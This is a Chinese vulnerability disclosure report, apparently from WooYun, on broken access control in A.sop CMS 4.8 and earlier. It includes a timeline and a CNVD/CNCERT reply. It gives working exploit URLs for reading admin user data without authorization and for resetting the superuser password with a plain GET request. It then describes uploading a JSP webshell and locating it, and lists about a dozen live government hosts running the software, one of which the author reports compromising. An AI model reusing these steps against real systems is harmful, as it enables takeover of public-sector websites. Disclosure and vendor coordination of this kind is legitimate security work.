2014-02-13:细节已通知厂商并且等待厂商处理中
2014-02-18:厂商已经确认,细节仅向厂商公开
2014-02-21:细节向第三方安全合作伙伴开放
2014-02-28:细节向核心白帽子及相关领域专家公开
2014-03-10:细节向普通白帽子公开
2014-03-30:细节向实习白帽子公开
2014-05-14:细节向公众公开
该漏洞影响的是A.sop CMS 4.8及以下版本,基本上是为http://www.wooyun.org/bugs/wooyun-2010-013964的补充;
本来这些版本的用户也没有几个了,加上版本较早,无论是兼容性还是功能性都没有什么亮点,但是还有几个相对有点分量,于是希望cncert能够协调告知。
a.sop CMS4.8以下版本权限控制松散,有很多功能权限的验证采用了js验证,或者是没有验证,其中影响最大的是管理用户部分:
比如:
http://cms.qingdao.gov.cn:10000/cmsweb/admin/loadUserAttrAction.do?dn=dc=cms,cn=human,sn=1
可以直接查看平台超级用户的资料:
这里可以得到超级用户的用户名,变换sn=1的值,可以看到其他的管理用户信息;
这里只是个辅助;
主要的越权是直接重置用户密码;
比如:
http://cms.qingdao.gov.cn:10000/cmsweb/admin/resetUserPasswordAction.do?dn=dc=cms,cn=human,sn=1
直接get访问以上link,超级用户cmsdev的用户名就会被重置成password
(个别的可能存在js验证,你可以通过FF的noscript来验证)
继续补充一点,如何获取shell
使用重置密码的超级用户cmsdev登录,
http://cms.qingdao.gov.cn:10000/cmsweb
(由于该系统对浏览器的支持不好,建议你找一个低版本的IE,比如IE6)
点击内容管理,进入对应的栏目添加文章,
在附件上传那里直接上传jsp脚本即可
上传完成,选择编辑器底部的html查看源码,可以看到上传的jsp脚本路径
jsp脚本木马的路径就是
http://cms.qingdao.gov.cn:10000/n16858051/n16858711/n28030640.files/n28030645.jsp
访问如图:
漏洞证明:
目前能够搜到的A.sop cms大概有这些,南宁市,合肥市,科协,体育总局,青岛市等等:
http://cms.qingdao.gov.cn:10000/cmsweb
http://58.59.136.79:7001/cmsweb/
http://58.59.136.81:8000/cmsweb
http://218.21.246.6:7001/cmsweb
http://220.178.124.29:7001/cmsweb
http://210.14.113.47:7001/cmsweb/
http://220.178.124.33:7001/cmsweb
http://202.204.24.102:7001/cmsweb
http://cms.qingdao.gov.cn:10000/cmsweb
http://www.qdsn.gov.cn:7001/cmsweb
http://cms.laoshan.gov.cn:7001/cmsweb/
http://cms.sport.gov.cn/cmsweb/
验证重置科协的后台超级用户密码,password登入:
至于国家体育总局,看看用户信息可以
http://cms.sport.gov.cn/cmsweb/admin/loadUserAttrAction.do?dn=dc=cms,cn=human,sn=1
重置密码和上传就不验证了。(祝愿中国健儿在本届冬奥会取得更好的成绩!)
(其实从别的系统试探过,体育总局部署有WAF的,脚本木马会被拦截的。)
换一款CMS产品吧。
价格便宜,功能质量好的有很多。
危害等级:高
漏洞Rank:20
确认时间:2014-02-18 10:04
厂商回复:CNVD确认并在多个实例上复现所述情况,根据测试结果,已经转由CNCERT向广西、内蒙古、安徽、山东等省份下发处置任务,同时还将继续对可能存在更高层级用户进行测试。如后续有涉及国家部委网站的情况,也请白帽子继续提供。
rank 20
暂无
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;